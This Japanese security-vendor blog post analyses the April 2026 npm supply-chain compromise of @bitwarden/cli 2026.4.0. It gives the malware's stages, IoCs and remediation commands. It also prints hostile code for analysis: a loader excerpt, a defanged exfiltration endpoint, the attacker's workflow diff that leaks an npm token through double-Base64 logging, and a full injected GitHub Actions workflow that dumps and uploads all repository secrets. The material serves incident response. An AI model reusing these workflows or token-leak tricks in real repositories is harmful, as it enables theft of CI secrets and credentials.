GMO Flatt Security Blog

GMO Flatt Security株式会社の公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

GMO Flatt Security株式会社の公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

Bitwarden ソフトウェアサプライチェーン攻撃の概要と対応指針

2026年4月23日、オープンソースのパスワードマネージャ Bitwarden の CLI パッケージ @bitwarden/cli の npm 版が侵害されました。攻撃者はバージョン 2026.4.0 を公開し、preinstall フック経由で情報を窃取するマルウェアを実行させました。本記事は、手元での検証および公開情報を踏まえ、日本のコミュニティ向けに事象を整理するものです。

追記: 本侵害をCTO米内が解説するウェビナーを4月28日(火) 12:00から開催予定です。申し込みページより事前登録いただければ、どなたも無料で視聴が可能です。

TL;DR - 対応指針

  • 悪性バージョンは 2026.4.0 のみです。2026.3.0(直前正規版)と 2026.4.1(復旧版、正規の Trusted Publishing 経由・provenance 付き)は安全です。
  • 2026.4.0 がインストール済の場合、マルウェア感染の可能性があります。
    • --ignore-scripts や相当の設定なしで npm install を実行していた場合、これらの preinstall フック経由でペイロードは既に実行されています。
    • --ignore-scripts を付けてインストールしていた場合も、@bitwarden/cli を実行していた場合は、ペイロードは発火しています。
  • 影響を受けたバージョンをインストールしている場合は、
    • まずアップグレード/ダウングレードしてください(npm install @bitwarden/cli@2026.4.1 を推奨、保守的には @2026.3.0 でも可)。
    • 端末内のクレデンシャルを即座にローテーションしてください。以下を優先してください。
      • GitHub トークン(PAT / OAuth / gh auth token のセッション)
      • npm パブリッシュトークン(npm_*
      • SSH 秘密鍵(~/.ssh/id_*
      • AWS / GCP / Azure のクラウドクレデンシャル
      • .env ファイル内の値
      • AI ツールの設定に保存された API キー(~/.claude.json、Kiro/Cursor/Codex/Aider の MCP 設定等)
      • CI/CD シークレット(GitHub Actions Secrets を含む)
    • ネットワークログで C2 ドメイン audit[.]checkmarx.cx(IP 94.154.172.43)への接続有無を確認してください。接続が記録されていれば漏洩の可能性があります。
    • 自 GitHub アカウント下に {dune_word}-{dune_word}-{3桁} 命名パターンの見知らぬリポジトリが作成されていないか確認してください。description に Shai-Hulud: The Third Coming または Checkmarx Configuration Storage を含むものは漏洩データの持ち出し先として使われた可能性があります。
    • アクセス権のある各リポジトリで、未知のブランチや .github/workflows/ 配下の新規ファイル追加がないかも確認してください。
  • Bitwarden 社のサーバや Vault 本体が侵害されたという情報は現時点で出ていません。本件は @bitwarden/cli を実行した端末内のローカルクレデンシャルを対象とした窃取です。
  • 現在 @bitwarden/cli@2026.4.0 は npm 上から削除済ですが、既にインストールされている端末の感染は自動的には消滅しません。
  • @bitwarden/cli への直接依存に限らず、間接依存でも preinstall フックは発火します。直接/間接の両方を確認してください。

はじめに

本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。 ペイロードの動作は手法の理解に必要な範囲で要約して記載しています。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。

タイムライン

@bitwarden/cli 周辺の主要な事象を示します。

日時 (JST) イベント
4月23日 06:22:59 @bitwarden/cli@2026.4.0 が npm に publish される
4月24日 00:54 クリーンな復旧版 @bitwarden/cli@2026.4.1 が Bitwarden から publish される
4月24日 未明 @bitwarden/cli@2026.4.0 が npm から unpublish される

侵害の仕組み

侵害の起点

侵害されたのは npm 上の @bitwarden/cli@2026.4.0 です。攻撃者は 2026.4.0 を scratch ビルドしたのではなく、正規の 2026.3.0 のビルド成果物を下地に、パッケージ層 (package.json + 新規ファイル 2 つ) だけを改変しています。

フィールド 正規 2026.3.0 悪性 2026.4.0
package.jsonversion 2026.3.0 2026.4.0
tarball 内部メタデータ 2026.3.0 2026.3.0 のまま(改変漏れ)
scripts.preinstall (なし) node bw_setup.js
含有ファイル bw_setup.js なし あり(新規注入)
含有ファイル bw1.js なし あり(新規注入)
bin エントリポイント ./build/bw.js 相当 "bw": "bw_setup.js" に差し替え

preinstall フックと bin エントリの両方が bw_setup.js に差し替えられているため、ペイロードは npm install 時(preinstall)と、インストール後に bw コマンドを実行した時(bin)の二重の発火点を持ちます。

ただし bw_setup.js は正規 CLI へのプロキシではないため、bw コマンドを実行しても Bitwarden CLI 本来の機能は返りません。また、bw_setup.jsmain()bun --version の実行に成功した時点で早期 return する実装になっているため、bun がすでにインストールされている環境では bw_setup.js は何も実行せずに終了し、bw1.js も走りません。bun 未インストール環境に限り、bun をダウンロードしたうえで bw1.js が実行されます(npm install 時点でペイロードが発火するのはこのケースに限られます)。

発火経路

バージョン 注入箇所 発火条件
2026.4.0 package.jsonpreinstall フック → bw_setup.js → Bun 経由で bw1.js を実行 npm install 時(--ignore-scripts が無ければ)

npm install @bitwarden/cli、あるいは lifecycle script が有効な他クライアントでパッケージをインストールする操作のみでペイロードが発火します。

Stage 1 - 小さな stager(bw_setup.js

bw_setup.js は小さなローダーで、Bun ランタイム(v1.3.13)を GitHub Releases からダウンロードしてペイロードを実行する役割のみを持ちます。

// 概要
try { execFileSync("bun", ["--version"], { stdio: "ignore" }); return; } catch {}
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
const zipBuf = await get(downloadUrl);
// ...
execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });

Stage 2 - クレデンシャルの窃取(bw1.js

bw1.js は難読化された約 9.7 MB の JavaScript で、解析すると以下を収集することが分かります。

種別 対象
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, id_*, known_hosts, authorized_keys
Git ~/.gitconfig, ~/.git-credentials
シェル履歴 ~/.bash_history, ~/.zsh_history, ~/.sh_history
npm ~/.npmrc, プロジェクト直下 .npmrcnpm_[A-Za-z0-9]{36,} にマッチする環境変数
GitHub gh auth token 実行 / ghp_[A-Za-z0-9]{36} / gho_... の env 走査
AWS ~/.aws/credentials, ~/.aws/config
GCP ~/.config/gcloud/credentials.db
シークレットファイル .env
AI ツール claude / kiro / cursor / codex / aider CLI の配置、~/.claude.json、Kiro の ~/.kiro/settings/mcp.json、Cursor の MCP 設定

AI コーディングツール関連コンフィグの明示的な収集は、今回のキャンペーンの特筆すべき点 です。~/.claude.json や MCP サーバ設定ファイルに保存された Anthropic API キー・ワークスペーストークン・MCP 認証情報なども漏洩対象になります。これらが端末上に存在した場合、格納済みの全 API キーを compromised と見做してローテーションしてください。

Stage 3 - 情報の持ち出し

収集データは以下のハイブリッド暗号パイプラインを通って送信されます。

JSON → gzip → AES-256-GCM(32-byte key / 12-byte IV、毎回ランダム)
    → RSA-OAEP-SHA256 で AES 鍵を埋め込み公開鍵でラップ
    → HTTPS POST → hxxps://audit[.]checkmarx.cx/v1/telemetry

C2 ドメイン audit[.]checkmarx.cx は攻撃者のタイポスクワットです。本物の Checkmarx 社のドメインは checkmarx.com であり、.cx(クリスマス島 TLD)を使い、ネットワークログ上で「ベンダ通信」に見える偽装を狙っています。解決先 IP 94.154.172.43 も Checkmarx とは無関係です。

Stage 4 - 情報の持ち出し(GitHub へのフォールバック)

本キャンペーンは、プライマリ C2 audit[.]checkmarx.cx を塞いだだけでは exfil を止められない構造になっています。フォールバック C2 は GitHub という正規インフラ上に構築されており、ドメイン単位でのブロックが効きません。大きく分けて 3 系統あります。

  1. コミットメッセージに埋め込まれた攻撃者の PAT。以下の正規表現にマッチするコミットメッセージを GitHub 上から検索します。

     ^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$
    

    base64 を二重デコードすると攻撃者が用意した GitHub PAT が取り出せる仕組みになっています。

  2. ドメインローテーション用の署名付きマーカー。beautifulcastle プレフィックスに続く RSA 署名付きデータを復号することで、代替 C2 ドメインを受け取れます。ペイロードの更新なしで C2 を切り替えられる設計です。

  3. 被害者アカウントで新規リポジトリ({word}-{word}-{3digits} 命名)を作成し、そこへ暗号化ペイロードを push する。ネットワーク観点では api.github.com への通信に見えます。

Stage 5 - GitHub トークンの武器化

収集した GitHub トークンが有効であれば、さらなる横展開が起きます。

  1. トークンからアクセス可能な全リポジトリ列挙
  2. GitHub Actions Secrets のアクセス権列挙
  3. 書き込み可能リポジトリに新規ブランチ作成
  4. 新規ワークフローファイルを注入 し、次回実行時にシークレットを吐き出させる
  5. 過去のワークフロー実行のアーティファクトも回収(ビルド成果物、署名済リリース等を狙い)

開発者 1 名の端末感染が、その開発者の GitHub トークン権限内の全 CI/CD パイプラインへの Supply Chain 足がかりに化けます。

対応指針

以下は公開情報を踏まえた参考情報であり、記録として示すものです。 正確性・網羅性を保証するものではなく、本指針に基づく対応の結果について筆者は一切の責任を負いません。 実際の対応は各組織の判断に基づいて行ってください。

今回は「疑わしきは罰する」方向で調査・ローテーションを進めることを強く推奨します。侵害はワーム型キャンペーンの一部であり、@bitwarden/cli に限らず、4 月 22 日以降に npm install を実行したあらゆる環境が潜在的影響下にあります。

1. インストール済バージョンの確認

# 端末内の全プロジェクトで確認
npm ls @bitwarden/cli 2>/dev/null | grep "2026\.4\.0"

# lockfile を広域走査
find / -name "package-lock.json" 2>/dev/null -exec grep -l "@bitwarden/cli" {} \;
find / -name "yarn.lock" 2>/dev/null -exec grep -l "@bitwarden/cli" {} \;
find / -name "pnpm-lock.yaml" 2>/dev/null -exec grep -l "@bitwarden/cli" {} \;

2. マルウェアファイルの確認

# どちらか存在すれば感染の可能性がある
find / -path "*/@bitwarden/cli/bw_setup.js" 2>/dev/null
find / -path "*/@bitwarden/cli/bw1.js" 2>/dev/null

3. ロックファイルと C2 接続痕の確認

ls -la /tmp/tmp.987654321.lock 2>/dev/null

ネットワークログ(EDR / プロキシ / DNS ログ等)で以下を確認してください。

  • audit[.]checkmarx.cx への DNS 解決 / HTTPS 接続
  • 94.154.172.43:443 への接続
  • github.com/oven-sh/bun/releases/download/bun-v1.3.13/ への接続(正規の Bun インストールを併用している場合は偽陽性あり)

4. アンインストールと再インストール

npm uninstall @bitwarden/cli
npm install @bitwarden/cli@2026.4.1 --ignore-scripts

5. クレデンシャルのローテーション

影響を受けた/否定しきれない端末では、当該端末内のあらゆる クレデンシャルを対象にローテーションを検討してください。特に優先すべき対象:

  • npm トークン(npm_*
  • GitHub PAT (ghp_*) / OAuth (gho_*) / gh CLI セッション
  • SSH 秘密鍵
  • AWS / GCP / Azure クレデンシャル
  • .env ファイル内の値
  • ~/.claude.json、MCP 設定内の API キー類(Anthropic / OpenAI / その他)
  • CI/CD シークレット

6. 自分の GitHub アカウント・組織下の調査

これは特に重要です。自アカウントや組織下に自分の知らないリポジトリが生えていないか を必ず確認してください。

# 最近作成されたリポジトリを確認
gh repo list --json name,createdAt,description --limit 50 | \
  jq '.[] | select(.createdAt | startswith("2026-04-2"))'

# 怪しいパターン(Dune テーマ + 3桁数字)
gh repo list --json name,description --limit 200 | \
  jq '.[] | select(.name | test("(mentat|sandworm|fremen|harkonnen|atreides|gesserit|fedaykin|sayyadina|heighliner|tleilaxu|kralizec|siridar|powindah|kwisatz|ghola|stillsuit|sietch|melange|thumper|lasgun|ornithopter|cogitor|futar|phibian|slig|laza|navigator|prana|sardaukar|prescient|kanly|butlerian)-[a-z]+-[0-9]{3}$"))'

# description が怪しい
gh repo list --json name,description --limit 500 | \
  jq '.[] | select(.description | test("Shai-Hulud|Checkmarx Configuration Storage"; "i"))'

該当するリポジトリが見つかった場合、攻撃者が窃取したトークンを用いて作成した exfil 先です。既に暗号化された窃取データが push されていると見做し、前項のクレデンシャルローテーションを徹底してください。削除前にインシデントレスポンス証跡として、内容の確保も検討してください。

7. ワークフロー注入の調査

Stage 5 の通り、GitHub トークンが有効だった場合は他リポジトリへのワークフロー注入の可能性があります。

  • アクセス可能な全リポジトリの最近のブランチ作成イベントの確認
  • 最近 push された .github/workflows/ 配下の新規ファイルの diff 確認
  • CI/CD 実行ログで curl hxxps://audit[.]checkmarx.cx/...bun bw1.js の痕跡確認

注入されたワークフローが一度でも実行されていた場合は、そのリポジトリ・組織の Actions Secrets も漏洩候補です。

8. CI/CD パイプラインの扱い

ビルドパイプラインで @bitwarden/cli@2026.4.0 を pull していた場合、パイプラインに注入されていたシークレット(デプロイキー、コード署名鍵、本番 DB クレデンシャル等)も漏洩候補です。実行ログを確認し、該当 job のシークレットを全ローテーションしてください。

推奨:自衛手段の整備

今年3月中の Trivy・LiteLLM・Telnyx・axios、そして今回の @bitwarden/cli と、主要パッケージの侵害が連続して発生しています。今回のように「発見されたパッケージ 1 個」を潰しても、キャンペーン自体は別経路で既に拡散していることが普通になりつつあります。予防的な防御装備を前提にしてください。

Lifecycle script の無効化

CI/CD では以下を標準ポリシーにしてください。今回のような preinstall 型攻撃は、これ 1 つで発火を止められます。

npm ci --ignore-scripts

必要なスクリプトのみ、明示的にホワイトリスト化して実行します(例: @prisma/client の generate 等)。

Dependency Cooldown の設定(min-release-age

npm v11 以降では .npmrcmin-release-age を設定することで、公開から一定期間が経過していないバージョンのインストールを抑止できます。この状況下では 7 日程度を推奨します。急ぐ場合でも 3 日程度は確保してください。今回の @bitwarden/cli@2026.4.0 は数時間でテイクダウン済であり、検疫期間を入れていた環境はインストールに至りませんでした。

# .npmrc
min-release-age=7

信頼性のダウングレードの拒否

pnpm には trustPolicy: no-downgrade という仕様があり、OIDC (Trusted Publishing) 経由のリリースから手動 publish に切り替わったようなパッケージの信頼度が下がる更新をブロックできます。

ただし今回は攻撃者が Bitwarden の Trusted Publishing 経路そのものを利用して OIDC 認証済として publish しているため、trustPolicy: no-downgrade では検出・ブロックはできません。手動 publish に切り替わって侵害された axios の事案 では、この設定が有効なら該当 2 バージョンはブロックされていました。このように、侵害経路によって効く・効かないが変わる点に注意が必要です。

悪意のある依存をブロック(Takumi Guard)

弊社(GMO Flatt Security)から、セキュアなレジストリプロキシ Takumi Guard の npm エンドポイント をリリースしています。

Takumi Guard は npm(レジストリ)との間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。弊社で全ての新規パッケージを検査し、ブロックリストを構築しています。

※PyPI, RubyGemsにも対応済です。

導入は registry URL の変更のみで完了し、無料で利用可能です。必要に応じて利用を検討してください。

# npm
npm config set registry https://npm.flatt.tech/

# yarn v1
yarn config set registry https://npm.flatt.tech

# yarn v2+
yarn config set npmRegistryServer https://npm.flatt.tech

# pnpm
pnpm config set registry https://npm.flatt.tech/

仮にある時点ではパッケージがマルウェアと判定できず、ブロックされなかった場合も、後日の通知を行う仕組みもあります(本機能も無料です)。 通知のためにはメールアドレス登録が必要となりますので、下記ページよりご登録ください。

複数端末の一括セットアップや管理者への通知など、法人向け管理機能(有償)も提供しています。ご興味のある方はお問い合わせください。

お知らせ(追記)

追記: 本侵害をCTO米内が解説するウェビナーを4月28日(火) 12:00から開催予定です。下記ページより事前登録いただければ、どなたも無料で視聴が可能です。

深掘り・補足

Trusted Publishing 下のパッケージ管理権限の侵害経路の考察

@bitwarden/cli は Bitwarden の Trusted Publishing (OIDC) で publish されているパッケージです。悪性 2026.4.0 の publish メタデータ (_npmUser) を確認しても、OIDC 経由であること自体は崩れていません。

$ curl -s 'https://registry.npmjs.org/@bitwarden/cli' \
    | jq '.versions["2026.4.0"]._npmUser'
{
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:8764ccf5-7f27-402d-bc11-59317b5995b1"
  }
}

oidcConfigId は正規の 2026.3.0 / 2026.4.1 と完全に同一で、Bitwarden の正規の Trusted Publishing 設定下で発行された OIDC token が publish に使われたことを示します。

一方、dist.attestations を比較すると、悪性 2026.4.0 だけ provenance attestation が欠落しています。

バージョン dist.attestations publisher
2026.3.0 (正規) あり (SLSA provenance v1) GitHub Actions (OIDC)
2026.4.0 (悪性) なし GitHub Actions (OIDC)
2026.4.1 (復旧) あり (SLSA provenance v1) GitHub Actions (OIDC)

この「OIDC 認証は通っているが provenance は付いていない」状態の出処を bitwarden/clients 上で追うと、dangling commit として残る攻撃者の試行錯誤の痕跡に辿り着きます。以下はいずれも bitwarden/clients に残存し、GitHub API 経由で参照できるコミットです。

コミット SHA (短縮) author 名 author.date committer.date メッセージ verified
47c6f590 Isaiah Inuwa 17:38:24Z 17:38:24Z Update action false (unsigned)
ea44eef9 Isaiah Inuwa 17:38:24Z 17:38:24Z Update action false (unsigned)
ed1164f7 Isaiah Inuwa 17:38:24Z 21:07:24Z Reapply false (unsigned)
d5b8f8c0 Isaiah Inuwa 17:38:24Z 21:14:02Z Reapply false (unsigned)
03df1ecd Isaiah Inuwa 17:38:24Z 21:18:53Z Reapply false (unsigned)

読み取れる特徴は以下の通りです。

  • Author 偽装: 全 5 コミットの author が Bitwarden 社員 Isaiah Inuwa に設定されていますが、同氏の正規コミットはすべて verified: true である一方、上記 5 コミットはいずれも unsigned です。これは Git コミットの author フィールドを書き換えた結果と考えるのが自然です。
  • バックデート: 全 5 コミットの author.date17:38:24Z に揃う一方、後半 3 コミットの committer.date21:07〜21:18Z の範囲にあります。Git は author と committer を別フィールドで持つため、author date の書き換えだけでは committer date は追従せず、実作業時刻がこちらに残っています。
  • 4 分刻みの試行錯誤: 後半 3 コミットが 7 分の間に 3 回 Reapply している挙動は、publish workflow を繰り返し修正してやり直した痕跡と整合します。

そして 2026.4.0 の npm publish 時刻は 21:22:59Z で、最後の Reapply (21:18:53Z) の約 4 分後にあたります。

Trusted Publishing の設計では、publish 時の認証は OIDC から都度発行される短寿命トークンで行われ、長期の NPM_TOKEN は本来リポジトリ側に常設されていません。しかし、攻撃者自身が中盤のコミット ed1164f7 で publish workflow に OIDC ベースのトークン交換の手順を追加しています。

       - name: Install NPM
         run: |
-          npm publish scripts/cli-2026.4.0.tgz --provenance --access public
+          OIDC_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=npm:registry.npmjs.org" | jq -r .value)
+          NPM_TOKEN=$(curl -s -X POST https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/%40bitwarden%2Fcli \
+            -H "Content-Type: application/json" \
+            -H "Authorization: Bearer $OIDC_TOKEN" \
+            -d "{\"oidcToken\":\"$OIDC_TOKEN\"}" | jq -r .token)
+          npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
+          npm publish ${{ inputs.tarball }}

この差分で攻撃者が手動で行っているのは次の 3 段です。

  1. ACTIONS_ID_TOKEN_REQUEST_TOKENACTIONS_ID_TOKEN_REQUEST_URLid-token: write 権限を持つ job に自動注入される)を用い、audience=npm:registry.npmjs.org で GitHub Actions の OIDC トークンを取得
  2. そのトークンを https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/%40bitwarden%2Fcli に投げて、@bitwarden/cli 向けの短寿命 npm publish トークンに交換
  3. 取得した短寿命トークンを $NPM_TOKEN として保持したまま npm publish に渡す

これ自体は、本来 npm CLI が Trusted Publishing 下で暗黙に行っている処理を手動で書き下したものです。問題は最後のコミット 03df1ecd で、この中間変数 $NPM_TOKEN に対して次の加工が加えられていることです。

+          echo $NPM_TOKEN | base64 -w 0 | base64 -w 0
           npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
+          cp scripts/cli-2026.4.0.tgz /tmp
+          cd /tmp
           npm publish scripts/cli-2026.4.0.tgz

ここで attacker は次の 2 つの小細工を組み合わせています。

  1. $NPM_TOKEN の二重 Base64 出力: GitHub Actions のシークレットマスク機能は「元の秘密文字列」だけをマスク対象にするため、Base64 で変形された値はマスクを素通りしてログに平文で出現します。これにより、OIDC 交換で得た短寿命 npm publish トークンが workflow 実行ログに流出し、attacker の手元に渡ります。
  2. cp + cd /tmp で Git コンテキスト外に移動してから npm publish: npm provenance は実行時の Git 作業ツリーと GitHub Actions ランタイム情報から SLSA attestation を生成する仕様で、/tmp などの Git コンテキスト外から publish した場合は provenance 生成が失敗(あるいはスキップ)します。2026.4.0 に provenance attestation が付いていないのはこの操作と整合します。

加えて、publish 対象の tarball scripts/cli-2026.4.0.tgz 自体が最初のコミット 47c6f590 でリポジトリに追加されていたことも確認できます。tarball は workflow 内部でビルドされたのではなく、事前にパッケージング済のものをリポジトリに追加し、npm publish はそれを指していただけ、という流れです。

Trusted Publishing の設計上の前提は「長期 NPM_TOKEN が存在しないので、トークン漏洩経由の任意 publish が原理的にできない」でした。しかし本件のように、publish workflow 自体が書き換え可能な状態であれば、OIDC 交換のエンドポイントを attacker 自身が叩いて短寿命トークンを明示的に取り出し、ログ経由で外部に持ち出す経路が成立します。今回のケースでは、

  • bitwarden/clients の既定ブランチに署名なしコミットが反映可能な状態だった(あるいは attacker が一時的に書き込み権限を得ていた)
  • id-token: write 権限を持つ publish workflow を自由に書き換えられる状態だった
  • workflow 実行ログが attacker から読み取り可能だった

が揃ったことで、OIDC を経由しながら実質的にトークンを持ち出される侵害が成立してしまいました。

Bitwarden の他 Secrets 窃取の可能性

悪性 @bitwarden/cli@2026.4.0 の npm publish とほぼ並行して、bitwarden/clients 上では別経路の侵害が成功していた痕跡があります。

攻撃者は、bitwarden/clients 上にブランチ irlvzwiosm を作成し、そこへコミット 0593c5ec... を注入しました。このコミットは、.github/workflows/ 配下の既存 workflow 42 本を削除した上で、.github/workflows/integration_test.yml という新規ファイルを 1 本だけ追加する内容です。

$ curl -s "https://api.github.com/repos/bitwarden/clients/commits/0593c5ecbbac94a5526a8d92c2a8d7a8b5f0d450" \
    | jq '{author: .commit.author, verification: .commit.verification,
           parents: [.parents[].sha],
           added: [.files[] | select(.status == "added") | .filename],
           removed_count: ([.files[] | select(.status == "removed")] | length)}'
{
  "author": {
    "name": "aDrupont4191",
    "email": "aDrupont4191@users.noreply.github.com",
    "date": "2026-04-22T21:57:20Z"
  },
  "verification": { "verified": false, "reason": "unsigned" },
  "parents": ["56d63667022bd5be78084118388e84d586733f52"],
  "added": [".github/workflows/integration_test.yml"],
  "removed_count": 42
}

コミット author は aDrupont4191(本記事執筆時点で GitHub 上では 404、削除/凍結済)、メッセージは fix: civerified: false (unsigned) です。親コミット 56d63667... は Bitwarden 社員 Jared Snider の正規 (verified: true) コミットで、そこから分岐しています。

注入された integration_test.yml は、${{ toJSON(secrets) }} を用いて全リポジトリ secrets を吸い出す内容です(RSA 鍵部分は抜粋)。

$ curl -s "https://raw.githubusercontent.com/bitwarden/clients/0593c5ecbbac94a5526a8d92c2a8d7a8b5f0d450/.github/workflows/integration_test.yml"
name: irlvzwiosm
on:
  push:
    branches: irlvzwiosm
jobs:
  testing:
    runs-on:
    - ubuntu-latest
    steps:
    - env:
        VALUES: ${{ toJSON(secrets)}}
      name: Prepare repository
      run: "\ncat <<EOF > output.json\n$VALUES\nEOF\n                    "
    - name: Run Tests
      env:
        PUBKEY: '-----BEGIN PUBLIC KEY-----
          MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmEqWUI0MkGsaa8U3B9Vw
          ... (2048-bit RSA 公開鍵、全体は raw 参照) ...
          2lZqkkLanNwu3qWKEVyX8fUCAwEAAQ==
          -----END PUBLIC KEY-----
          '
      run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2
        -in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key
        | openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt
        2> /dev/null;
    - name: Upload artifacts
      uses: actions/upload-artifact@v4
      with:
        name: files
        path: ' |
          output_updated.json
          lookup.txt'

動作は以下の通りです。

  1. ${{ toJSON(secrets) }} 展開で、リポジトリに紐付く全 GitHub Actions Secrets が JSON として 1 ファイルに吐き出される
  2. ランダムな AES パスフレーズで output.json を AES-256-CBC + PBKDF2 で暗号化
  3. AES パスフレーズを攻撃者の 2048-bit RSA 公開鍵(workflow 内に埋め込み)で暗号化し lookup.txt に書き出し
  4. 両方を GitHub Actions の通常の artifacts API (actions/upload-artifact@v4) で upload

actions/upload-artifact は正規の CI artifact API なので、egress ブロックや outbound 通信の監視では止まりません。攻撃者は後から、対応する秘密鍵で lookup.txt を復号 → AES パスフレーズを取得 → output_updated.json を復号、という経路で全 secrets を取り出せます。

なお irlvzwiosm という同一ブランチ名では、この push の約 1 時間 40 分前(2026-04-22T21:57:21Z〜21:57:22Z)に、aDrupont4191 自身のアカウントで一度ブランチが作成・即削除される挙動も観測されています。1 回目は workflow が発火せず、2 回目の vgrassia トークンでの push で workflow が起動し成功、という順序です。

workflow 実行履歴と actor は以下で確認できます。

$ curl -s "https://api.github.com/repos/bitwarden/clients/actions/runs/24808363037" \
    | jq '{id, name, event, head_branch, head_sha,
           actor: .actor.login, triggering_actor: .triggering_actor.login,
           path, run_started_at, updated_at, conclusion}'
{
  "id": 24808363037,
  "name": "irlvzwiosm",
  "event": "push",
  "head_branch": "irlvzwiosm",
  "head_sha": "0593c5ecbbac94a5526a8d92c2a8d7a8b5f0d450",
  "actor": "vgrassia",
  "triggering_actor": "vgrassia",
  "path": ".github/workflows/integration_test.yml",
  "run_started_at": "2026-04-22T23:40:37Z",
  "updated_at": "2026-04-22T23:40:46Z",
  "conclusion": "success"
}

この workflow run の actor / triggering_actor が共に vgrassia であるのは、GitHub Actions が push イベントで workflow を発火させる際、Git コミットの author ではなく push を認証したトークンの所有者を actor として記録するためです。vgrassia 氏のアカウントは 2011 年から継続的に活動している Bitwarden 社員のアカウントで、同日前後に Deploy Web Vault to EUQA 等の正規 workflow run も多数走っています。何らかの経路で vgrassia の GitHub トークンが攻撃者の手に渡った、と解釈するのが現時点の公開情報とは整合的です。

upload された secrets スナップショット(暗号化済)は、本記事執筆時点でもアーティファクトとして残存しています。

$ curl -s "https://api.github.com/repos/bitwarden/clients/actions/runs/24808363037/artifacts" \
    | jq '.artifacts | map({id, name, size_in_bytes, expired, created_at, expires_at})'
[
  {
    "id": 6590995845,
    "name": "files",
    "size_in_bytes": 1762,
    "expired": false,
    "created_at": "2026-04-22T23:40:43Z",
    "expires_at": "2026-07-21T23:40:37Z"
  }
]

アーティファクト files は 1,762 bytes(= AES 暗号化された secrets JSON + RSA 暗号化された AES パスフレーズ)で、GitHub のデフォルト保持期間 90 日に沿って 2026-07-21 まで残存します。攻撃者がリポジトリに読み取り権限を持つ GitHub トークンを保持している限り、今もこのアーティファクトを取得できる状態です。

以上より、悪性 @bitwarden/cli@2026.4.0 自体の取り下げが完了した後も、bitwarden/clients に紐付く GitHub Actions Secrets が窃取されている可能性があります。Bitwarden のデプロイ系 workflow が利用する各種クラウド・サービス連携シークレットが該当に含まれうる点は、継続的な注視対象です。

復旧版 2026.4.1 のクリーン性検証

4月24日 00:54 UTC 頃、Bitwarden から復旧版 @bitwarden/cli@2026.4.1 が publish されました。悪性 2026.4.0 からの切り替え先として安全に使えるか、tarball を取得して確認します。

$ curl -sSL 'https://registry.npmjs.org/@bitwarden/cli/-/cli-2026.4.1.tgz' \
    -o cli-2026.4.1.tgz
$ tar -tzf cli-2026.4.1.tgz
package/build/113.js
package/build/bw.js
package/build/locales/en/messages.json
package/package.json
package/build/bw.js.map
package/README.md
package/build/0267f925739a02ab7f0e.module.wasm

ファイル数は 7、bw_setup.js / bw1.js のいずれも含まれていません。npm の publish メタデータも正規 (Trusted Publishing + provenance attestation 付き) です。

{
  "_npmUser": {
    "trustedPublisher": { "id": "github", "oidcConfigId": "oidc:8764ccf5-..." }
  },
  "dist": {
    "fileCount": 7,
    "attestations": { "predicateType": "https://slsa.dev/provenance/v1" }
  }
}

さらに、build/bw.js を除く全ファイルが正規 2026.3.0 とバイト単位で一致することを確認しました。build/bw.js だけが差分するのは、バンドル内部に埋め込まれた version 文字列が 2026.3.02026.4.1 に差し替わった正当な再ビルドであるためです。

以上より、2026.4.1 へのアップグレードは 2026.3.0 へのダウングレードと機能等価で、安全に切り替え先として選べます。

IoCs

筆者が把握できている限りでの、Indicators of Compromise(IoCs)を以下に示します。

パッケージ

種別
侵害パッケージ @bitwarden/cli@2026.4.0
安全なバージョン @bitwarden/cli@2026.3.0 およびそれ以前
版数の指紋 package.jsonversion2026.4.0 だが、tarball 内部メタデータでは 2026.3.0 のまま
Loader ハッシュ (SHA-256) f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d (bw_setup.js)
Payload ハッシュ (SHA-256) 18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb (bw1.js)
改変された package.json ハッシュ (SHA-256) 167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad
tarball 全体ハッシュ (SHA-256) 99ac962005550130398d55af2527d839e73489bc7911e7c2c37474d979aaf43f

ネットワーク

種別 備考
C2 ドメイン audit[.]checkmarx.cx Checkmarx 社を偽装するタイポスクワット
C2 IP 94.154.172.43 同上、実在の Checkmarx とは無関係
C2 エンドポイント hxxps://audit[.]checkmarx.cx/v1/telemetry AES/RSA 暗号化された JSON を POST
補助ダウンロード github.com/oven-sh/bun/releases/download/bun-v1.3.13/ Bun ランタイム入手元(正規インフラ。偽陽性注意)

永続化 / 実行痕

パス 備考
/tmp/tmp.987654321.lock 二重実行防止用ロックファイル
~/.bashrc, ~/.zshrc ペイロード再起動のための注入対象
node_modules/@bitwarden/cli/bw_setup.js Loader
node_modules/@bitwarden/cli/bw1.js 9.7 MB の難読化ペイロード

GitHub 側の侵害痕

種別
リポジトリ description Shai-Hulud: The Third Coming(後期)
リポジトリ description Checkmarx Configuration Storage(初期)
リポジトリ description Shai-Hulud Migration(変種で観測)
リポジトリ命名パターン {dune_word}-{dune_word}-{3digits}
コミットメッセージ(攻撃者 PAT 取得用) 正規表現 ^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$
